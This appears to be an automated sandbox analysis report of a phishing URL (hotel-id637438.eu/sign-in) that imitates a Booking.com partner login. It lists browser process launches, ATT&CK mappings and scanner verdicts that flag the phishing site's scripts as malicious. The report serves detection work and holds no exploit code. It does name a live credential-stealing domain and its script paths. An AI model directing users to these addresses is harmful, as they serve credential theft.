Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:52060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:52265 version: TLS 1.2

Source: classification engine

Classification label: mal64.phis.win@34/349@332/71

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2004,i,18335563116413383683,3162479861710847297,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://hotel-id637438.eu/sign-in"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5860 --field-trial-handle=2004,i,18335563116413383683,3162479861710847297,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5988 --field-trial-handle=2004,i,18335563116413383683,3162479861710847297,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2004,i,18335563116413383683,3162479861710847297,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5860 --field-trial-handle=2004,i,18335563116413383683,3162479861710847297,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5988 --field-trial-handle=2004,i,18335563116413383683,3162479861710847297,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: chromecache_450.2.dr	Binary or memory string: , h = !!o.dDfPWSUILWQeMUbZFYWbMFPCYaaXe
Source: chromecache_450.2.dr	Binary or memory string: dDfPWSUILWQeMUbZFYWbMFPCYaaXe: null === (t = n.metadata) \|\| void 0 === t ? void 0 : t.dDfPWSUILWQeMUbZFYWbMFPCYaaXe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://hotel-id637438.eu/sign-in	100%	Avira URL Cloud	phishing
https://hotel-id637438.eu/sign-in	100%	SlashNext	Credential Stealing type: Phishing & Social usering

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://ampcid.google.com/v1/publisher:getClientId	0%	URL Reputation	safe
https://stats.g.doubleclick.net/j/collect	0%	URL Reputation	safe
https://schema.org	0%	URL Reputation	safe
https://partner.booking.com/cs	0%	Avira URL Cloud	safe
https://hotel-id637438.eu/static/challenge.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	100%	Avira URL Cloud	malware
https://chat.kindlycdn.com/react-chat_src_components_Carousel_Carousel_js-react-chat_src_components_MessageButton_Messag-020420-e1a675876deb028268b2.js	0%	Avira URL Cloud	safe
https://cf.bstatic.com/psb/accountsportal/assets/index_a4c9eea436facc11b585.js	0%	Avira URL Cloud	safe
https://partner.booking.com/en-us/community	0%	Avira URL Cloud	safe
https://hotel-id637438.eu/static/otSDKStub.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE/consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/a387750c-a080-4dd0-b2d1-7dbdb601bb14.json	100%	Avira URL Cloud	malware
https://cdn.cookielaw.org/scripttemplates/otSDKStub.js	0%	URL Reputation	safe
https://partner.booking.com/sites/default/files/styles/medium_400_width/public/2024-06/ukb5394_asset	0%	Avira URL Cloud	safe
https://partner.booking.com/sites/default/files/css/css_UvXyKwn0NQjGoY4ItVYtivOqsPRcB28Y3ICRoR_4aTg.css?delta=2&language=en-us&theme=booking&include=eJx1Uotu5CAM_KEQPmllwCHuEsxhJ23u68_pdZPdqpUihB8zY8aBlJSh7h6-LuPUueqQQKHAjt0HnGEj7jIU-Lv74xhkF8XFBxAcAvOdavZhJRdFvsdOO2xYCnZXKM_qdMblQuXCAcoL6O3iiMzxTtg6u4njKm6Gmozq6od4d8r2tQE_tFC9-9TXBmX8CgdRUBKlKI_KlTl5CkNyQgkDdBeg1ieNrIvDqqS7i4VM7_sQTw0b4fuP9cpKE0UT5no2NOiQO7T5HO3KjGttaygkMyZzfudVb4kk8oZ991wxchkm-DMRluQflxFi5J5M5FQ_M04hiKPF3NxsBVVfd0WV1EVemnE_1yR2LuZkdgbMHW2lZtJgpPiYOnVuYVU11alA9scxHubf4A0-Xnw4Sr_YuIr9I0K5ko3KXJTaYM9-x5sg9Dj7z8D9D07UjJAO3Gf2H1FyFZQ	0%	Avira URL Cloud	safe
https://www.booking.com/general.	0%	Avira URL Cloud	safe
https://cf.bstatic.com/psb/accountsportal/assets/826_0cc611c2fdbfa57dfa5d.js	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/vEYJuyIbFFh4pz4i?73fc34fa0de55a4d=1310TqPgyRYI_24smNU42hsonzVKowTJ-UhIS2Y4zJ7rapd8h2a6uszrMOU8lK11LMu8ufhRDUltV5a3_m45jV1pVkDK5hSOTcPoakkb_7PNfFtjR7wAqhhEzK9-W88YY0Jyfu9pUG7eGLpnNr--ayMc1vGIryx7N1-oDt8m0ZgEmiohjq2iPJh-n2NM8wvd-wOe8rvGoVrYnF6Ouvk&jf=3633342e736964577a6e6c3f766c725d37366c615a67337165795c773545766126716b645d66637c653d313f3a303c353a3e323a247361665f747978673d7f676238656164716326716b66576b6579353b303d3b31383131323638353261383e36386b673366303030333236323a3069383634306b653b66323b3033323738313432303832346b35616431673566676532633a386166653e6c323867643f3030363931603638346c6436396331363633336137363466666b3431646b3e383964663c3367313038636132316a6639313432343533313736396063673f3338376c30626e67613033663b666c356463623f6434306131333637346333396367323c356562313d312e716b6c5f716b67353130343538303239323061633139606435363461313137306d3934303a606d383233316a603762376d37636e6764326563626032336335316b616630393e326d34343d343267643f673830323a32356e35383a313137336361333133306436333d6a383930673a646661656932333733313b3038676663383632303a37366030393632323c30373c3a366d346336267b6b66723d38	0%	Avira URL Cloud	safe
https://cdn.cookielaw.org/consent/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda/8ead1a95-64b9-4e6c-877c-52602d89b97c/en-us.json	0%	Avira URL Cloud	safe
https://partner.booking.com/th	0%	Avira URL Cloud	safe
https://partner.booking.com/themes/custom/booking/fonts/icons/icons.woff?v=1.3.3	0%	Avira URL Cloud	safe
https://hotel-id637438.eu/static/OtAutoBlock.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	100%	Avira URL Cloud	malware
https://partner.booking.com/en-us/taxonomy/term/3693	0%	Avira URL Cloud	safe
https://partner.booking.com/themes/custom/booking/images/favicons/favicon.ico	0%	Avira URL Cloud	safe
https://ariane.abtasty.com/datalayer	0%	Avira URL Cloud	safe
https://partner.booking.com/sites/default/files/styles/teaser_small_card_topics/public/2024-06/property%20managment%404x.png.webp?itok=T_Oo2E2n	0%	Avira URL Cloud	safe
https://partner.booking.com/tr	0%	Avira URL Cloud	safe
https://partner.booking.com/de	0%	Avira URL Cloud	safe
https://partner.booking.com/sites/default/files/styles/teaser_image_card/public/2023-01/Twowomeninlo	0%	Avira URL Cloud	safe
https://hotel-id637438.eu/px.v7.5.3.min.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	100%	Avira URL Cloud	malware
https://asanalytics.booking.com/YBjky_TnBNQQwzY6?651e1b870543f517=r5r-MLSvi700LVYB26KxaBcwaN4U3QIx00UhiyEI4rK3DincM2pOHrD_ySJDaCrivE0PZtcSKiXApuu_V5_L0gBhklsXDb9ep4jfuOyW6wpmJXaACLp2fjUCHLVBIgfuk115rqov62tVjTE716-LiE3cknyM6FmWCfNCcZ0	0%	Avira URL Cloud	safe
https://cdn.cookielaw.org/consent/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda.json	0%	Avira URL Cloud	safe
https://partner.booking.com/sites/default/files/js/js_XgRhdDPWb33RcpJhPMJZtlmn458nD-GlhUL5Ud4J8h4.js?scope=footer&delta=0&language=en-us&theme=booking&include=eJx1Uotu5CAM_KEQPmllwCHuEsxhJ23u68_pdZPdqpUihB8zY8aBlJSh7h6-LuPUueqQQKHAjt0HnGEj7jIU-Lv74xhkF8XFBxAcAvOdavZhJRdFvsdOO2xYCnZXKM_qdMblQuXCAcoL6O3iiMzxTtg6u4njKm6Gmozq6od4d8r2tQE_tFC9-9TXBmX8CgdRUBKlKI_KlTl5CkNyQgkDdBeg1ieNrIvDqqS7i4VM7_sQTw0b4fuP9cpKE0UT5no2NOiQO7T5HO3KjGttaygkMyZzfudVb4kk8oZ991wxchkm-DMRluQflxFi5J5M5FQ_M04hiKPF3NxsBVVfd0WV1EVemnE_1yR2LuZkdgbMHW2lZtJgpPiYOnVuYVU11alA9scxHubf4A0-Xnw4Sr_YuIr9I0K5ko3KXJTaYM9-x5sg9Dj7z8D9D07UjJAO3Gf2H1FyFZQ	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/ydCEBuKxErLnjgXf?1b75bbbcd288fb3f=MbZaZxI15fKTd5tPfsAHYEGaVlRH1TL4t5Cu9DzYTgoLg9BOMngmEn91CsmRtE938f6G0-rGyp6BOvOZtOuCjiu_MFY3L_RiTR69l_JTtfkJ76CVjWg-dpwoUFeGrHiTlVkY6cswJirOhCF7BQ5_RA	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/3TWqV7joG7OAWvac?08e86886c47c193c=4Zq5jiNrXr96ezmLApPfZJLJprhFwoKR_VeApSYZ8Df89jcnsh-rKt9TDFKYP48_iwiFUFdnpTInR-WO3oDaru8Zq76vWILsPWSg8FgzpiZviKjrXyzkyLaqEQwfz93szvKB8s5AK29RT0QrDtLBWkLUOg0&jac=1&je=33333b3c26267065356e672460697471763d2d354225323a6e657e676c273230253143312c32322d3243253a3a737c63767d732730322d314125323a61686970676b6e652530302535462469756468356b656e60636d34353a363f356630326e60626c3b3731363337343b32666066316336343d38626e37343c313434396d606566313d3b356960373635633233333724677a3b3d32626a6c636e31353e646334343a373530383b35623a3a3630643b373b36343663606a3565653c3b2662716d35576b6c6467757325323833302e77616a3d27374027323063706b6869746d6b747d70672d3230273349273232783034253a302530432732306069766c677b7325323a2d334927303a363627323a273243253a30627a636e667327323027334327374a2537422d3a326a706366642730322d314125323a456f67656c67253030416a726d6f672d3232253a4b253a30746d72716b6f66273232253b43253a3031333727323027374627304b2537422d3a326a706366642730322d314125323a4c6f7c273340412733464072636c662d3232253a4b253a30746d72716b6f66273232253b43253a3038273230253546253041273f4225323a6a72696c662d32302733492732324360706f656b756f2530322730432730307e65727361676e2d30302d334327323a333137253a30253f462537442732412732306477646c56657a7b69676c4e61737627323a273341253d40253f402530326072636c642730302d3341253a3a47676d6564652730304b6a726f6d6d27323a273241253032746772716b6d662532322d3b412d30303931352c3026373933382633333c2732302535442730432735402d3232627a696e6c27303a253143253a304e6f742d3142492733464270616c66253030273a4325323a7e657a716b676e2730322d314125323a3a2e382c302c3027323027374627304b2537422d3a326a706366642730322d314125323a41687a6d6d6b756f253030253041273a3276657a7b69676c273a322731412d303231313f2c3026373931382c313136253030273f4425354c2d324b27303a6d6d606964672532322d31416e636c71652732412732306f6d6c656c253a3a253b43273a322730322d304325323a726c6976666d726f253030253143273a325769666c6f7f71273a322730432d3032706c69766667706d546570736b6d6e2730302d3341253a3a31382c3226302730322d304325323a756f7f343427323025314366636e716d2537442e7d61643f273f422730326a70616e647b27323a2733432537422735422730306a72616e6c2d323a27314925303047676d676c652d30304b6a726d6d67253030253041273a3276657a7b69676c273a322731412d303231313f27323a2737462530432735422730306a72616e6c2d323a2731492530304e67762533424927334c4072636e66253030253041273a3276657a7b69676c273a322731412d303238253a30253f462530432737402732306070696e64253a3a253b43273a32416a72676f69756d2d30322d3043273230766770736b6d6c2d3232253b49253a303339372730322d354425354c27324b2732306d6d626b6e652730302d3341666964736d27304b25303070646374666f7a6f253a3025314127323055696c666d7f7325323a2d374c	0%	Avira URL Cloud	safe
https://h64.online-metrix.net/5prH3djSfspwAgel?0254515df9b541d0=NU4TfZBGqPmfiLy5n9SoIg4wm0j0z4-hvii_tvDfeRkfeAHzG22z7KT_JObQVIE68G0iegh2ZI7wE2UJkQYGYx9SNgna8SV7CZgaW4DaKvnU_AEhS_kBR82YOV8qqCYitTM22m6SUICol6bo7aHwFY_yK5rqd2yn	0%	Avira URL Cloud	safe
http://www.boldmonday.comhttp://www.ibm.comThis	0%	Avira URL Cloud	safe
https://h.online-metrix.net/rFRLDJxFTrQcss9n?89ebc986c3b3f728=okE1tWax7UjQSFfET3w1usAAd3od2EjnHMLqlwKYSIcBuoEcZRptxwJ86giEnc9_NH7A1fYykcjB3XYD4m3ED3W2TOnl61DQC2RdDEeMzaJH1iNyuTmluMNU7nLowJTYc5HVeuaj_Kj_IqyUYdd0jIWCXWhMbJNYxDxKkqvkQ8OVvPU	0%	Avira URL Cloud	safe
https://github.com/kenwheeler/slick/blob/master/LICENSE	0%	Avira URL Cloud	safe
https://hotel-id637438.eu/static/clientlib.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	100%	Avira URL Cloud	malware
https://hotel-id637438.eu/check-online	100%	Avira URL Cloud	malware
https://partner.booking.com/sites/default/files/styles/teaser_small_card_topics/public/2024-06/announcements%404x.png.webp?itok=KL33QV-E	0%	Avira URL Cloud	safe
http://www.quirksmode.org/js/cookies.html	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/2HGL14kaydX5qYhD?72ef15d3203931b6=ZrL8omu03-2S9W2nQj0WYnqyiJCWCcg7MoUvHcHkm2RK0PsMdIrLvoPPb1AACx62WnbBKEY8Zbkg6QlNwKKIbS7vHKX08XfT56wV6jwlIIo_yNVNGVDusjMxoHC_E7ovHNHZyamY9dQrkvvplMIpAmbOHkUzAhGBWMvxmak-Kpwxyt15Zu9F7hB6LzNsnHkotXW9uKjROK5MZ9y_&jb=3d39262668736f753557696c6667777126687b6f3d5f6966666d77712d3032333026687b6a753d436a726f6d6d266a716035436a726d6565253a30393335	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/stBXX4xy0Tuo1HHg?8fc06bdf70f757cb=PL55k8pz5b8hiYulo50ivQR5fsAjStjTW-lpchEzoeg_zB_MFdYm8ZvJ4HR3tjPkWDMQrM350HleQBXkvJ8lj1Yf8cEToqZD4EDOoPoaAUt7AA4MljpNkqLWj65VNe0H9-vQJx3JVDjyT1H234HKfnniAzsGAX_tBPIL74KzFup0aLxH9QUXOJFKlh6bvfCAmDt4qfFL6EHkS5j1&jb=373b242e6a736f7d3557616c66677771246a7b6d3d576966666f7f71253030333024687360773f4b68726f656d2662716035436a706f6567253230393337	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/Ysq49GvjQ5eQMXx1?f32b80d547da664b=yCV90iw6Iuf09HN8bKNJc7cGvKkOmDHPuZj9ruC1sCINvoYDmHLygPvT2maQP96vtXYtC12-_Z7M-hwMkajeZIGrR7KW6VFmJuVskb4f5C6QjumACnpQJQaNFQLA6VyZ2MjIw8Nu1caIx790OVHHElrO8ek8gJn1swbIH5hQXIu_x8hyDhZaxMBAvjjIoUm0_OkqNr1RehMrzP8w6qs&je=3333312e266a616b35312e606a7b773f27354a273742253a30746d7a742732316c6d65696c6c63656525323a2d334932273f442730432d303225324e71696f6c2d6b6e273230273546246060736b737c6d3d2d35402d3230696e2d303225334932253a412530326932303b253030273b4130253f4c	0%	Avira URL Cloud	safe
https://d8c14d4960ca.edge.sdk.awswaf.com/d8c14d4960ca/c2181391033f/challenge.js	0%	Avira URL Cloud	safe
https://partner.booking.com/sites/default/files/styles/menu_teaser_desktop/public/2024-03/join-booking-hero.jpg.webp?h=56d0ca2e&itok=3dorJ9nt	0%	Avira URL Cloud	safe
https://partner.booking.com/sites/default/files/css/css_8xrXTAiqhK5R19N2cI7xoXYTYSLTDP3dX6YW9tM8lM0.css?delta=1&language=en-us&theme=booking&include=eJx1Uotu5CAM_KEQPmllwCHuEsxhJ23u68_pdZPdqpUihB8zY8aBlJSh7h6-LuPUueqQQKHAjt0HnGEj7jIU-Lv74xhkF8XFBxAcAvOdavZhJRdFvsdOO2xYCnZXKM_qdMblQuXCAcoL6O3iiMzxTtg6u4njKm6Gmozq6od4d8r2tQE_tFC9-9TXBmX8CgdRUBKlKI_KlTl5CkNyQgkDdBeg1ieNrIvDqqS7i4VM7_sQTw0b4fuP9cpKE0UT5no2NOiQO7T5HO3KjGttaygkMyZzfudVb4kk8oZ991wxchkm-DMRluQflxFi5J5M5FQ_M04hiKPF3NxsBVVfd0WV1EVemnE_1yR2LuZkdgbMHW2lZtJgpPiYOnVuYVU11alA9scxHubf4A0-Xnw4Sr_YuIr9I0K5ko3KXJTaYM9-x5sg9Dj7z8D9D07UjJAO3Gf2H1FyFZQ	0%	Avira URL Cloud	safe
https://collector-a.perimeterx.net/api/v2/collector/clientError?r=	0%	Avira URL Cloud	safe
https://partner.booking.com/sr	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/Ysq49GvjQ5eQMXx1?f32b80d547da664b=yCV90iw6Iuf09HN8bKNJc7cGvKkOmDHPuZj9ruC1sCINvoYDmHLygPvT2maQP96vtXYtC12-_Z7M-hwMkajeZIGrR7KW6VFmJuVskb4f5C6QjumACnpQJQaNFQLA6VyZ2MjIw8Nu1caIx790OVHHElrO8ek8gJn1swbIH5hQXIu_x8hyDhZaxMBAvjjIoUm0_OkqNr1RehMrzP8w6qs&je=3030302e266a616b35312e606a7b63673f253f40253232787679786773273230253143253540273a326d6f7d7b652d30302d334336253f462532432d3032787679726527323027334327303a7063253a3a253f46246a6871606b35273542253d40253a3055273230253041353736302d3243253a3a746d7a762d32316e6f6f6b6e6e616567253a3025374427324127354027303a7225323a2d324b37373c342730432d303225323a27354c2732412537422730326d27303a2532433d3d353f27304b25303068616664656e2d30322d374427354626606a7360695d616e6465703533	0%	Avira URL Cloud	safe
https://partner.booking.com/sv	0%	Avira URL Cloud	safe
https://rtp-static.marketo.com	0%	Avira URL Cloud	safe
https://admin.booking.com/hotel/hoteladmin/extranet_ng/manage/partner_help_proxy.html?article=help_h	0%	Avira URL Cloud	safe
https://partner.booking.com/libraries/lazysizes/lazysizes.min.js	0%	Avira URL Cloud	safe
https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png	0%	Avira URL Cloud	safe
https://hotel-id637438.eu/static/us.png	100%	Avira URL Cloud	malware
https://asanalytics.booking.com/3TWqV7joG7OAWvac?08e86886c47c193c=4Zq5jiNrXr96ezmLApPfZJLJprhFwoKR_VeApSYZ8Df89jcnsh-rKt9TDFKYP48_iwiFUFdnpTInR-WO3oDaru8Zq76vWILsPWSg8FgzpiZviKjrXyzkyLaqEQwfz93szvKB8s5AK29RT0QrDtLBWkLUOg0&jb=3134246473613d693f346a60313d34673b376b366638646934326d3b6360623537616730353136	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/BfsHVPyQHfIaKbAl?41563c7f1adfb5f0=RzOzMJRmlWYu3cfFnC9GXovp5POD4sjyt3mJ6IhVEemMiW6rnWY_ZJFsNJ-xCXdJwvJQHFbCeGbtAh70GwdhLXEzabSzoYav5R6TZ9YGgCbVQ2wjy4h6KxZCdjbA6FvfuTrg4bMm00aT6sefEqSpErrX3pg&jb=3336266c716135613f366060313d346539356b34663064693e3267316b606235376b6532373334	0%	Avira URL Cloud	safe
https://h64.online-metrix.net/8fqB4UQvod6mjs-l?5d564f171f369a79=mlZgO_0dNaQOSUqqkizTh1u3IoQjqcGEqBvFe2oB-ffi0LqEvxu21x_DSefc6f5yM4cqLhKgGfTJYwN1MJ8ao7W0CrX4KO4WQlX6gJOZ9QNfQ1ELl0I12Ha9-XssJOUNu6hjz_Xv9PlOewMQH0C_comn_WAHZXeh	0%	Avira URL Cloud	safe
https://partner.booking.com/ar	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/PP7WtnhQPti9hwxg?a322627bbc0f1671=pOnrCyYh0fOD4QiyRCR8l8s_j6LQb5PA3LTNBnkAbtmfEBkiQrEdduGpojAsw98DMAU_BT4k__bGIgUcBpoAPcmKH8RxXLM1JFbARReTFk5GJrheZst0XQAbXsGUBzD0QS58AuggO2dhY04REAqovQ&data=AAyZnKNoq7EIL-SywGT2D3gqdlkvfF62p87n7Ch4THWWjw-djkrzfZM3-mf4ArnApXM4whRMVa2v-klaqYllik7G55IYiw	0%	Avira URL Cloud	safe
https://cf.bstatic.com/psb/accountsportal/assets/runtime~index_08a2413ae9a3221f32e6.js	0%	Avira URL Cloud	safe
https://hotel-id637438.eu/static/589_c56f1bb12a33c98c0094.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	100%	Avira URL Cloud	malware
https://try.abtasty.com/71cd12cdf77ebcb750cff91a9bba6f04/1260644.1562364.json?89b5bf9a6316eb30dcfc5b1f740c76c8	0%	Avira URL Cloud	safe
https://asanalytics.booking.com/3QUMmaPSc1zJE8fm?1d5dbae49208cfc1=_lS2UB-jeCK3GwSghVeiNjmEsztwIdW7peYa2vZDcG9_rxjNXKGUggbLPnN7TQEc392g0yl5LlzycWWK62WEuv9s081EatjUJGdq6NB4-VZmKYAVzro0qFZezZFS_jIkEItyaozhwhYgHjS8-3uy08mWEj-5l14Eqq92qrY	0%	Avira URL Cloud	safe
https://partner.booking.com/sites/default/files/styles/menu_teaser_desktop/public/2023-10/travel_predictions_2024_1_1.jpg.webp?h=db5e2b43&itok=jW2sd4Zb	0%	Avira URL Cloud	safe
https://siteintercept.qualtrics.com	0%	Avira URL Cloud	safe
https://bstatic.com/libs/bui/9.5.6/bui.min.js	0%	Avira URL Cloud	safe
https://partner.booking.com/ro	0%	Avira URL Cloud	safe
https://hotel-id637438.eu/static/842_b7cfe71a24f37e243c53.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE	100%	Avira URL Cloud	malware
https://doregtzfefbr33clv6xcto5dvvpuig6dhu62so3k9d8e366b7ec51ed9sac.d.aa.online-metrix.net/eT7Nb5nB4FSZBhqr?4e98badb14cfb3a3=noEGKM0RbPhp2BOR7GtSv8EDA766sxCB-oQDofHIYL0nVgCWZ_FSuWnvPXgK68IoB2KaUXlhIAvOPkKfPj2n8omxmTJildRQNxvOEqYLuo-qEMEJOU-vBd-iqiE9oNQd1VJ_tlSFfzMuQ2jqJArDBp6s3JDOKtZo_yFm	0%	Avira URL Cloud	safe
https://partner.booking.com/ru	0%	Avira URL Cloud	safe
https://partner.booking.com/bg	0%	Avira URL Cloud	safe
